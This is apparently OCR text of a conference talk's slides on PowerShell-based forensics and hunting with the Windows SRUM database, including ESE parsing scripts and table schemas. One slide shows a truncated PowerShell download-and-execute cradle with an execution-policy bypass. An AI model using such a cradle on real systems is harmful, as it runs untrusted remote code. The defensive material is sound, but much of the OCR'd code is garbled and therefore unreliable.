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» Security Advocate. Architect & Threat Researcher
focused on Data Protection

» 25+ years experience in InfoSec
» Spent number years in corporate IR team positions

BSidesLondon Director
ISSA UK — VP of Data Governance

» Contact
- tvfischer+sec@amail.com tvfischer@pm.me
- keybase.io/fvt
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Let’s build some requirements

» Non-intrusive

> Quick to use or deploy

»  Minimal cost - Useable dynamically :
" investigating or

hunting ,///
\
<

—
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PowerShell

@ I Owe rSheII [ ] I teal Iy? PS> $string = "The last logged on user was CONTOSO\jsmith"

PS> $string -match "was (?<domain>.+)\\(?<user>.+)"
True

PS> $Matches

» Regex Support

Name Value

domain CONTOSO

> Built-in functionality

» Uses Objects for Data

Get-ItemProperty -Path Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsof1

PS D:\Users\tvfischer> gci HKCU:
Output

PSPath : Microsoft.PowerShell.Coreg] Hive: HKEY_CURRENT_USER
FTWARE\Microsoft\Windows\|
by . . < PSParentPath : Microsoft.PowerShell.Core]
PS D:\Users\tvfischer> get-acl -Path FTWARE\Microsoft\Windows QEId Property
PSChildName : CurrentVersion
PSDrive 1 HKLM
Directory: D:\Users PSProvider : Microsoft.PowerShell.Core@elIXed [3] ColorTable00
DevicePath : C:\WINDOWS\inf aadacialy' ~N1
MediaPathUnexpanded : C:\WINDOWS\Media
Path Owner Access ndows\system32> Get-EventLog -L le Security -N

tvfischer BUILTIN\Administrators NT AUTHORITY\SYSTEM Allow FullControl...

PS D:\Users\tvfischer> (get-acl -Path .).Owner
BUILTIN\Administrators ndows\system32> Get-EventLog -L e Security -N st 1 -Inst 4624

PS D:\Users\tvfischer> | ¢ Ti EntryType Soursf. InstanceID Message

97313 Feb 27 16:10 SuccessA... M osoft-Windows. .. 4624 An account was successfully
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HaxxO0r for the Win

PS /home/tvfischer>
PS /home/tvfischer>
PS /home/tvfischer> powershell.exe Bypass iex ((New ObjectNet.WebClient).DownloadString(



Success.

——




Awesome Start

» Finding things
— Regqistry
— Eventlog
— File system (ACL, NTFS-ADS, ...)

» Runs in memory (no disk changes)
» Generally available on Win 7 and greater

» Lots of cool useful scripts out there




PowerForensics

» All inclusive framework for HD forensics
»  Full API

»  Useful
— Get-ForensicsAlternateDataStream
— Get-ForensicsEventLog
— Get-ForensicsPrefetch
— Get-ForensicsRecentFileCache

@ Requires a DLL to be installed

e

Thanks! @jaredcatkinson
https://github.com/Invoke-IR/PowerForensics



https://github.com/Invoke-IR/PowerForensics
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@ PowerForensics

» All inclusive framework for HD forensics
»  Full API

»  Useful
— Get-ForensicsAlternateData
— Get-ForensicskEventlLog
— Get-ForensicsPrefetch
Get-ForensicsRecentFileCac

That’s what | do. | drink
and | know things.
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Foundations Scripts

2

Forensics Hunting

Built-ins
® RegEx

e Registry
® Objects




C_ERROR)

zeptr«C_Ef
m;

C_PREFIX)

C_PREFIX;
prefix;

C_DATAWO)
C_MODRM)

“iptree;

= b & OxCd
« b & Ox0)
mod | =0x(0)

(f&C_67)

if ((mod=
if (modes{
if (modesq

se

if (modesq
if (modesq
if (re=-0
if ((rem=eq

C_MEM67)
C_DATA66)

C_MEM1) |
C_MEM2) |
C_ MEM4) |

C_DATA1) |
DATA2) |
C_DATA4) |

L




Hello SRUM!

So What Else?
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»  Windows System Resource Usage Monitor
— Process and Network Related metrics over time
— Diagnostic Policy Service

» Yogesh Khatri
— Published paper March 2015

— Forensic implications of System Resource Usage Monitor
(SRUM) data in Windows 8

https://www.sans.orag/cyber-security-summit/archives/file/summit-archive-1492184583.pdf
http://www.sciencedirect.com/science/article/pii/S17422876150 00031



https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf

SRUM Details

» Windows 8 and above
» Monitors

»  Desktop & windows applications;
y  Services;

»  Network Connections

» Historical Database




Monitoring — On by Default
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@' Network — The What

Interface Type & ID
Network Profile ID
Bytes uploaded & Endpoint IP addresses/ports
downloaded Specific network activity

Processes consuming data
Includes user SID
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@ Application — The What

CPU Cycles
Context switches
I/0 bytes read/written No Memory
Number of read operations Kernel info
Number of write operations Cache

Number of Flushes Memory Threats, Handles
User Information
SID of user who launched program




Application History

)

Ul provides a view
to this

View history for all
processes

Uninstalled
processes are no
longer on Disk

1% Task Mana

Y 15 Task Manager
“2 File Options View

S Proc Always on top
e tions ¢ ER| e
¥ ' Minimize on use
Processes Pe vz N
| Resc Hide when minimized
| Dele
Resource usag Show full account name
Delete usage h™" oy

i;?; Show history for all processes

Name §
-
[ Micros Mixed Reality Portal
Cortan
[ Cortar B} Connect
B o8 _
E Microsoft Edge
3D Vie T
(@] Atarms & Clock 0:00:00
|7 calculator 0:00:00
[5] camera 0:00:00
. Candy Crush Saga 0:00:00
@ Candy Crush Soda Saga 0:00:00
2} Connect 0:00:00
! Disney Magic Kingdoms 0:00:00
E Dolby Access 0:00:00
[§] Facebook 0:00:00
Fd Feedback Hub 0:00:00
Get Help 0:00:00

Groove Music 0:00:00
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Jsers Details Services

nd system accounts.

ime Network | Metere
0:00 0MB ites
0:00:00 0MB e
0:00:00 0MB s
0:00:00 0MB ne
Lt i MB
0MB 0MB 0MB
0MB 0MB 0MB
0MB 0MB 0OMB
0MB 0MB 0OMB
0MB 0MB 0MB
0MB 0MB 0MB
0MB 0MB 0MB
0MB 0MB 0MB
0MB 0MB 0MB
0MB 0MB 0MB
0MB 0MB 0MB
0MB 0MB 0MB
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How it Works

N

BN

SRUM Extension System32

Windows Network Data Usage Monitor {973F5D5C-1D90-4944-BESE-24B94231A174}  nduprov.dil \Windows\ System32 \sru\SRUDB.dat
Windows Push Notifications (WPN) Provider {d10ca2fe-6fcf-4f6d-848e-b2e99266fa86} wpnsruprov.dll

Application Resource Usage Provider {d10ca2fe-6fcf-4f6d-848e-b2e99266fa89} appsruprov.dll

Windows Network Connectivity Usage Monitor  {DD6636C4-8929-4683-974E-22C046A43763}  ncuprov.dll

Energy Usage Provider

{fee4e14f-02a9-4550-b5ce-5fa2da202e37} energyprov.dll
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Temporary Storage in Reqgistry

HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SRUM\Extensions

AHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SRUM\Extensions\{DA73FB89-2BEA-4DDC-86B8-6E048CE6DA4TT}

>: | SoftwareProtectionPlatform Al Name Type Data
> L SPP f,le(Default) REG_SZ Energy Estimation Provider
V. RN 24| CapabilityFlags REG_DWORD 0x000001fa (506)
v IR Bxensions 25| DIIName REG_EXPAND_SZ %SystemRoot %\System32\eeprov.dll

| | {5C8CF1C7-7257-4F13-B223-970EF5939312}

- {973F5D5C-1D90-4944-BESE-24B94231A174}

- | {B6D82AF1-F780-4E17-8077-6CBSADSAGFC4}
| | {d10ca2fe-6fcf-4f6d-848e-b2e99266fal6}

|| {d10ca2fe-6fcf-4f6d-848e-b2e99266fa83}

- {DA73FB89-2BEA-4DDC-86B8-6E048CEDA4TT}

|| {DD6636C4-8929-4683-974E-22C046A43763}

|| {feede14f-02a9-4550-b5ce-5fa2da202e37}

- Parameters

- Telemetry

£8) Tier2MaxEntries REG_DWORD 0x000000a8 (168)

00:60:00.000 B

~
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Database is ESE

» Extensible Storage Engine
— Windows Update, AD, Windows Search, IE
» Location:
c:\Windows\System32\sru\SRUDB.dat

Table Description
{DD6636C4-8929-4683-974E-22C046A43763} Network Connectivity data
{D10CA2FE-6FCF-4F6D-848E-B2E99266FA89} Application Resource usage data
{973F5D5C-1D90-4944-BESE-24B94231A174} Network usage data
{D10CA2FE-6FCF-4F6D-848E-B2E99266FA86} Windows Push Noatification data
{FEE4E14F-02A9-4550-B5CE-5FA2DA202E37} Energy usage data
{FEE4E14F-02A9-4550-B5CE-5FA2DA202E37} LT

https://github.com/libyal/esedb-kb/blob/master/documentation/System%20Resource%20Usage%20Monitor%20(SRUM).asciidoc
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Table: {973F5D5C-1D90-4944-BESE-24B94231A174}
Network Data Usage Monitor

Column ID | Column Name Column Type MU'“gLericl?:g;‘;me formats. .. 1
1 Autolncld Integer 32-bit signed
SruDbldMapTable TimeStamp Date anq time; Contair)s an OITE\futomation date
(or floatingtime or application time) value
' Appld Integer 32-bit signed +
Userld Integer 32-bit signed +
InterfacelLuid Integer 64-bit signed

L2Profileld fotenneaa bit gigned

: —==" pull from 2
L2ProfileFlags ] Registry
BytesSent \Integer 64-bit signed

BytesRecvd Integer 64-bit signed

signed

Ol |IN|[ojlO|d|W
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Table: {D10CA2FE-6FCF-4F6D-848E-B2E99266FA89)
Application Resource Usage

.

Column Name

Column Type

Date and time; Contains an OLE Automation date

Multiple datetime formats...
Seriously

SrUDbIdMapTabIe Autolncld Integer 32-bit signed
- limeStamp (or floatingtime or applicwe) value
3 Appld Integer 32-bit signed +
4 Userld Integer 32-bit signed +
5 ForegroundCycleTime Integer 64-bit signed
6 BackgroundCycleTime Integer 64-bit signed
¥ 4 FaceTime Integer 64-bit signed
8 ForegroundContextSwitches Integer 32-bit signed
9 BackgroundContextSwitches Integer 32-bit signed
10 ForegroundBytesRead Integer 64-bit signed
11 ForegroundBytesWritten Integer 64-bit signed
12 ForegroundNumReadOperations Integer 32-bit signed
13 ForegroundNumW riteOperations Integer 32-bit signed
14 ForegroundNumberOfFlushes Integer 32-bit signed
15 BackgroundBytesRead Integer 64-bit signed
16 BackgroundBytesWritten Integer 64-bit signed
17 BackgroundNumReadOperations [Integer 32-bit signed
18 BackgroundNumWriteOperations | Integer 32-bit signed
19 BackgroundNumberOfFlushes Integer 32-bit signed
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Table: SruDbldMapTable

Column ID Column name Column type
1 IdType Integer 8-bit unsigned
2 / IdIndex Integer 32-bit signed
7 / IdBlob Large hinary data +
V\
/
VAlue Identifier Description
=™ 0 ?? Application Path ++ IdBlob contains an UTF-16 encoded string
1 ?? Services / IdBlob contains an UTF-16 encoded string
2 ?? MSAppS, Service—sdgprocess IdBlob contains an UTF-16 encoded string
3 a user identifier (Userld) + g:!ﬁg&ﬁgﬁg?i; \(lélln S)OWS T
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Data Interpretation

» GUIDs Galore (SID)

» UTC Timestamp Format can be OLE format (64bits) or
FILETIME format (64bits)

» Network Identified with InterfacelLuid

typedef union _NET_LUID {
ULONG64 Value;
struct {
ULONG64 Reserved :24;
ULONG64 NetLuidIndex :24;
ULONG64 IfType :16;
} Info;
} NET_LUID, *PNET_LUID;




The Forensics Angle
So What?
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Understanding What Process Activity

User Process Map
Who Launched What

SOIIS11E)S HIOMIBN

S5 =
o =
22
S o
o)
;TQO
S I
EO
8§
® 3
»n
S
>

Program Tracking
Find those deleted apps




User Process Map
Who Launched What

=z
s >
~ O =
T g2
o o
S R
X
To&
Sss
® 3@
680
S 6w

Program Tracking
Find those deleted apps




Better Process Runtime Mapping

»  Common malicious act is to mess around with Prefetch

» Shows start time only

Prefetch
SRUM SRUM SRUM SRUM
Estimated
duration for
- Winword.exe
S e 5 R SR N £ =3 Bl ) £ £ S B S Bl 1 5 O - Known
i SO o - Unknown
| [ | [ | [ | | | >
1 | | | i |
S N\ N\ N\ Q Q
» IN Q » N . Khatti
\rb ' \by' \0,3 . \,‘0 '\,b '\(,\ ' ﬁtigg/\?v)\//v:v.}:gits.orq/cvber—securitv—summit/archives/file/summi

t-archive-1492184583.pdf



https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf

STH SECUAITY

Better Process Runtime Mapping

» Prefetch only proivdes last 8 starts

» SRUM adds visibility on did it run or not?
SRUM SRUM  SRUM SRUM

Possible
duration for

Winword.exe

iy <€ >€-====== >
T <€—> Known
:_< ______ O B N ; W N > <€-==->» Unknown
g : R .l __________ L s s S e I. - _I ‘

1 | | | 1 1 | e

\ 3] Q \) \} N \)

S b S S S W S”  Graph by Ykhatri

\(b '\.‘,b \Vr '\<‘,3 \‘0 ’\,‘o \(\ ) h1:22://w)\//vw.saisr.lorq/cvber—securitv—summit/archives/file/summi

t-archive-1492184583.pdf



https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf

Other Useful Trackables

» Map Process with User
» Map Process and Network Activity

— Data Exfiltration

» General Program Usage Investigation
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Access All the Data

> SRUDB.dat - Admin locked Q
» Use libesedb for ESE to CSV
» srum-dump Tool

— Mark Baggett

— Extracts & generates XLS

https://github.com/MarkBaggett/srum-dump
https://github.com/libyal/libesedb



https://github.com/MarkBaggett/srum-dump




Wait | have a solution...

Wil




DE E PRI=®

WN-DESTH SECURAITY

@ Remember PowerShell - Cool Things!

» Support for dotNET
» C Libraries
» Loading DLLs

PowerShell 6.1.2
Copyright (c) Microsoft Corporation. ALl rights reserved.

https://aka.ms/pscore6-docs

Type 'help' to get help.

PS /home/tvfischer> Add-Type




dotNET API for ESE

» Microsoft.NET version 4.0
» ISAM ESENT InterOp

« Windows > Microsoft NET > assembly > GAC_MSIL > microsoftisam.esent.interop > v4.0_10.0.0.0__31bf3856ad364e35

A

Microsoft.Isam.Es
ent.Interop.dll

w
PO Y




Success.

——
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Walk Thru: Access SRUM

H Administrator: Windows PowerShell ISE
p
File Edit View Tools Debug Add-ons Help

el B M9 >)aE e 8(EFoo m@d.

[ PS-SRUM-Walkthru.ps1* X | Untitled3.ps1* |
A § SEsentD11Path = "Senv:SYSTEMROOT\Microsoft.NET\assembly\GAC_MSIL\microsoft.isam.esent.interop\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Isam.Esent.Interop.d

2 $Path="C:\Windows\System32\sru\SRUDB.dat"
3
q 4  ## Access the database file
n 5 [System.Int32]$FileType = -1
3 [System.Int32]$PageSize = -1
< 7 Add-Type -Path S$EsentD11Path
¥ 8 [Microsoft.Isam.Esent.Interop.Api]::JetGetDatabaseFileInfo(sPath, [ref]sPageSize, [Microsoft.Isam.Esent.Interop.JET_DbInfo]::PageSize)
{ 9 [Microsoft.Isam.Esent.Interop.Api]::JetGetDatabaseFileInfo(sPath, [ref]sSFileType, [Microsoft.Isam.Esent.Interop.JET_DbInfo]::FileType)
! 10 [Microsoft.Isam.Esent.Interop.JET_filetype]SDBType = [Microsoft.Isam.Esent.Interop.JET_Tiletype] ($FileType)
1] 11 $DBType
12 SPagesSize
F 12 $FileType
i 14 ## Open a JET session
15 [Microsoft.Isam.Esent.Interop.JET_INSTANCE]SInstance = New-Object -TypeName Microsoft.Isam.Esent.Interop.JET_INSTANCE
* 16 [Microsoft.Isam.Esent.Interop.JET_SESID]SSession = New-Object -TypeName Microsoft.Isam.Esent.Interop.JET_SESID
i 17 $Temp = [Microsoft.Isam.Esent.Interop.Api]::JetSetSystemParameter($Instance, [Microsoft.Isam.Esent.Interop.JET_SESID]::Ni1, [Microsoft.Isam.Esent.Interop.JE
i8 §Temp = [Microsoft.Isam.Esent.Interop.Api]::JetSetSystemParameter($Instance, [Microsoft.Isam.Esent.Interop.JET_SESID]::Ni1, [Microsoft.Isam.Esent.Interop.JE
| 19 $Temp = [Microsoft.Isam.Esent.Interop.Api]::JetSetSystemParameter($Instance, [Microsoft.Isam.Esent.Interop.J]ET_SESID]::Nil, [Microsoft.Isam.Esent.Interop.JE
€ 20 [Microsoft.Isam.Esent.Interop.Api]::JetCreateInstance2([ref]$Instance, "Instance", "Instance", [Microsoft.Isam.Esent.Interop.CreateInstanceGrbit]::None)
21 $Temp = [Microsoft.Isam.Esent.Interop.Api]::JetInit2([ref]SInstance, [Microsoft.Isam.Esent.Interop.InitGrbit]::None)
22 [Microsoft.Isam.Esent.Interop.Api]::JetBeginSession($Instance, [ref]$Session, SuUserName, $Password)
23
24 ## Ok Now open the database
25 [Microsoft.Isam.Esent.Interop.JET_DBID]SDatabaseId = New-Object -TypeName Microsoft.Isam.Esent.Interop.JET_DBID
26 crosoft.Isam.Esent.Interop.Api]::JetAttachDatabase(SSession, SPath, [Microsoft.Isam.Esent.Interop.AttachDatabaseGrbit]::Readonly)
27 [Microsoft.Isam.Esent.Interop.Api]::JetOpenDatabase($Session, SPath, SConnect, [ref]sSDatabaseId, [Microsoft.Isam.Esent.Interop.0OpenDatabaseGrbit]

28 S$Databaseld
29 $Session
30 $Connect

32 #Check the session information
33 write-Output -InputObject ([PSCustomObject]@{Instance=SInstance;Session=55ession;DatabaseId=SDatabaseld;Path=5Path})

35 # Dumptable names
36 write-Output -InputObject ([Microsoft.Isam.Esent.Interop.Api]::GetTableNames(SSession, SDatabaseId))

38 [EI<#

39 | {DD6E636C4-8929-4683-974E-22C046A43763} Network Connectivity data

40 | {D10OCA2FE-6FCF-4F6D-848E-B2E99266FA89} Application Resource usage data
41 {973F5D5C-1D90-4944-BEBE-24B94231A174} Network usage data

a0 [MAAFAICr FEFr ACFn 0ASC DArAn I rcrAnc] Sodaues Dockh MasSE5ratSinn daeo

<

PSJobTypeName
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https://docs.google.com/file/d/1iEaowJqkrmqyLwFtXooLP8fipyithwz4/preview
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PS D:\tvfischer\Devs\scripts\powershell> [Microsoft.Isam.Esent.Interop.Api]::JetGetDatabaseFileInfo($Path, [ref]$PageSize, [Microsoft.

PS D:\tvfischer\Devs\scripts\powershell> §PageSize

4096

PS D:\tvfischer\Devs\scripts\powershell> [Microsoft.Isam.Esent.Interop.JET_INSTANCE]S$Instance = New-Object -TypeName Micros
[Microsoft.Isam.Esent.Interop.JET_SESID]$Session = New-Object -TypeName Microsoft.Isam.Esent.Interop.JET_SESID

PS D:\tvfischer\Devs\scripts\powershell> $Temp = [Microsoft.Isam.Esent.Interop.Api]::JetSetSystemParameter($Instance, [

$Temp = [Microsoft.Isam.Esent.Interop.Api]::JetSetSystemParameter($Instance, [Microsoft.Isam.Esent.Interop.JET_SESID]:
$Temp = [Microsoft.Isam.Esent.Interop.Api]::JetSetSystemParameter($Instance, [Microsoft.Isam.Esent.Interop.JET_SESID]:

[Microsoft.Isam.Esent.Interop.Api]::JetCreateInstance2([ref]$Instance, "Instance”, "Instance", [Microsoft.Isam.Esent.I
$Temp = [Microsoft.Isam.Esent.Interop.Api]::JetInit2([ref]$Instance, [Microsoft.Isam.Esent.Interop.InitGrbit]::None)

PS D:\tvfischer\Devs\scripts\powershell> [Microsoft.Isam.Esent.Interop.Api]::JetBeginSession($instance, [ref]$Session, $userName, $Pas
PS D:\tvfischer\Devs\scripts\powershell> [Microsoft.Isam.Esent.Interop.Api]::JetBeginSession($instance, [ref]$Session, $userName, $Pas
PS D:\tvfischer\Devs\scripts\powershell> [Microsoft.Isam.Esent.Interop.JET_DBID]$Databaseld = New-Object -TypeName Microsoft.Isam.Esen

PS D:\tvfischer\Devs\scripts\powershell> §Temp = [Microsoft.Isam.Esent.Interop.Api]::JetAttachDatabase($Session, $Path, [Microsoft.Isa
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rshell> Write-Output -Input ect ([PSCustomObject] ce; $Session; Databaseld

d Path




PS D:\tviischer\Devs\scripts\powershe!l> Write-Output -InputObject

.JetTableid)) | ft

Name
AppId
AudioInS
AudioInTimeline
Audio0utS
AudioOutTimeline
AutoIncId
ompDirtiedsS
ompDirtiedTimeline
ompPropagatedsS
ompPropagatedTimeline
ompRenderedS
ompRenderedTimeline
puTimeline
ycles
yclesAttr
yclesAttrBreakdown
yclesBreakdown
yclesWOB
yc1esWOBBreakdown
DiskRaw
DiskTimeline
DisplayRequiredS

DisplayRequiredTimeline

DurationMS
EndTime
Flags
InFocusS
InFocusTimeline
KeyboardInputS
KeyboardInputTimeline
BBBytesRaw
BBTai IRaw
BBTimeline
MouseInputS
NetworkBytesRaw
NetworkTai 1Raw
NetworkTimeline
PSMForegroundS
SpanMS
imelineEnd
imeStamp
UserId
UserInputS
UserInputTimeline

Columnid
JET_COLUMNID(Ox3)
JET_COLUMNID(Ox1b)
JET_COLUMNID(OxT)
JET_COLUMNID(Ox1c)
JET_COLUMNID(0x10)
JET_COLUMNID(Ox1)
JET_COLUMNID(Ox19)
JET_COLUMNID(Oxd)
JET_COLUMNID(Ox1a)
JET_COLUMNID(Oxe)
JET_COLUMNID(Ox18)
JET_COLUMNID(OXC)
JET_COLUMNID(Ox11)
JET_COLUMNID(Ox1d)
JET_COLUMNID(Ox1f)
JET_COLUMNID(0x20)
JET_COLUMNID(Ox1e)
JET_COLUMNID(Ox21)
JET_COLUMNID(O0x22)
JET_COLUMNID(Ox23)
JET_COLUMNID(0x12)
JET_COLUMNID(Ox28)
JET_COLUMNID(0x29)
JET_COLUMNID(Ox7)
JET_COLUMNID(Ox6)
JET_COLUMNID(OX5)
JET_COLUMNID(Ox15)
JET_COLUMNID(Oxa)
JET_COLUMNID(Ox2b)
JET_COLUMNID(Ox2a)
JET_COLUMNID(O%27)
JET_COLUMNID(0x26)
JET_COLUMNID(Ox14)
JET_COLUMNID(Ox2c)
JET_COLUMNID(Ox25)
JET_COLUMNID(0x24)
JET_COLUMNID(Ox13)
JET_COLUMNID(Ox16)
JET_COLUMNID(0x8)
JET_COLUMNID(Ox9)
JET_COLUMNID(Ox2)
JET_COLUMNID(Ox4)
JET_COLUMNID(OX17)
JET_COLUMNID(Oxb)

15
Long
15
15
15
15
Long
15
15
15
Long
Long
Long
DateTime
Long
Long
15

Cp MaxLength

None
None
None
None
None
None
None
None
None
None
None
None
None
None
None
None
None
None
None
None
None
None
None
None

R Sl R Sl R R S R R R S R S R S R

Microsoft.Isam.Esent. Interop.ColumnInto

Defaultvalue

Microso

ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed

ColumnFixed, ColumnAutoincrement

ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed
ColumnFixed

.Isam.Esent.Interop.Ap1

::Get
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[Microsoft.Isam.Esent.Interop.Table]$TableNETU
)penTableGrbit] : :None)
Write-Output §

New-Object -1 [
([Microsoft.Isam.Esent.Interop.ColumnInfol
Defaultvalu

uc

‘Micr




Write-Output

BackgroundBytesWritten

PS D:\tvfischer\Devs\scripts\powershell> ([PSCustomObject]$Ne

BackgroundCycleTime
ForegroundBytesRead
BackgroundContextSwitches
ForegroundNumReadOperations
ForegroundNumberOfFlushes
ForegroundContextSwitches
BackgroundNumberOfFlushes
AutoIncld
achruund.uwReadOperatﬂn
2 undByteshr

0n

tten

UserId
FaceTime
ForegroundNumwWriteOperations
imeStamp
Bacquuundavte

r1tten

BackgroundNumWriteOperations
BackgroundBytesRead
FH!EQ!HUWdL»C eTime
BackgroundCycleTime
ForegroundBytesRead
BackgroundContextSwitches
ForegroundNumReadOperations
ForegroundNumberOfFlushes
ForegroundContextSwitches
BackgroundNumberOfFlushes

BackgroundNumReadO peratiuns
ForegroundByteswWritte

UserId

FaceTime
ForegroundNumwriteOperations
TimeStamp
BackgroundByteswritten

roundNumwriteOperations
yundBytesRead

oundCycl
sundCy
groundBytes Read
oundContextSwitches

regroundNumReadOperations

3660036
=1
3123144
-1

4

18/02/2019 18:41:00

wTable)

.Rows

ft




Building Scripts

Dumps the
Opens the ASfrubIZ.)bIdMapTabIe into
database objects

~ [E) Connect-SRUMDB.ps1
E) Get-SRUMReferenceDBIDMap.psl

E) Get-SRUMTableDataRows.ps1

Ll the data £ Get-SRUMTableNames.ps1

| out of a table

List out the
available
tables
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@ The Good, The Bad, ...

Next Steps Oh Noooooo

[ Automate Data Processing Privilege escalation

Q  Better extraction of GUID PowerShell Version Implications
O Need to pull REG entries

Windows Servers - Where is
SRUM

[  Build a Module 222

0 Using PowerShell Remotely




...and that Damn Privacy
®© o -

@FVT following on from your
#SecuriTay2019 talk, I'm looking at my app
history, which is from 01/02/19, but it seems
to be missing some obvious entries e.g.
Outlook, Chrome. Any suggestions?

10:53 AM - 3 Mar 2019

O 1 (o Q &

o Tweet your reply

Thomas Fischer @FVT - Mar 3 v
Replying to @Vegaskid1337

f Think | mentioned in passing about EU restrictions etc might be due to that; not
H had time to investigate the impact.

B MSEC




ur General

& v il
@FVT following on from your
#SecuriTay2019 talk, I'm looking at my app
history, which is from 01/02/19, but it seems
to be missing some obvious entries e.g.
Outlook, Chrome. Any suggestions?

10:53 AM - 3 Mar 2019

and the GDPR
n Makers

Q1 u O [}
0 Tweet your reply .
'indows
ata events and
Thomas Fischer @FVT - Mar 3 v
u Replying to @Vegaskid1337
Think | mentioned in passing about EU restrictions etc might be due to that; not rel Windows

had time to investigate the impact. ata events and

2gories

dows 10

A~ A,

B MSEC

IN-DEPTH SECURITY

LHLIVIINIUOUIY UV LD YUITUG UG IV DU UGS I VY.

by focusing on six key privacy
rinciples guided the

legal protection of their privacy as a fundamentad
of

No content-based targeting. We take steps to avoid
customer content, such as the content of files, chats or e
Windows diagnostic data system. Customer content inadvertel d is kept
confidential and not used for user targeting. :
Benefits to you. We collect Windows diagnostic data to help provide you with an
up-to-date, more secure, reliable and performant product, and to improve

Windows for all our customers.

https://docs.microsoft.com/en-gb/windows/privacy/configure-windows-diagnostic-data-in-your-organization




Hunting We Will Go

IIMHUNTING|WABBITS!!

534 BT Ao A1

Applications Network Hunti ng

Usage a Unusual process For user activity

Who launched what Non-standard IDs

What ran when Weird Network
Connections (e.g.
VPN)
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@ Give me More Power(Shell)

ChildItem -Path 'c:\' -Recurse -Force -File | Select-Object
DirectoryName,Name,Length,@{N="'Version';E={$_.VersionInfo.ProductVersio
n}},LastWriteTimeUtc,@{N="FileHash';E={(Get-FileHash

$ .FullName).Hash}} | Sort-Object -Property DirectoryName,Name |
Export-Csv -Path c:\temp\filehashes.csv -Encoding ascii
-NoTypeInformation

where { $_.hash -ne (Get-FileHash -Path $_.path -Algorithm
$ .algorithm).Hash } | Get-Item

Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR\*\*
| Select FriendlyName




BEWEWY VEWY

Hunting We Will Go = o

S —

IiMHUNTINGWABBITS!!

SRUM SRUM Huntin

Applications Network g

Usage Unusual process For user activity

Who launched what a Non-standard IDs ° A mini-EDR tool?

What ran when Weird Network osquery like
Connections (e.g. VPN)

System

Searching Events _ . SlGMA

Configurations




‘Identify pertinent information, prioritize it, draw

conclusiong from it, and communicate it...”

Amy E. Herman

https://github.com/tvfischer/ps-srum-hunting

... currently under construction still needs a lot of work

@Fvt

> tvfischer+sec@gmail.com
» tvfischer@pm.me

» keybase.io/fvt

59
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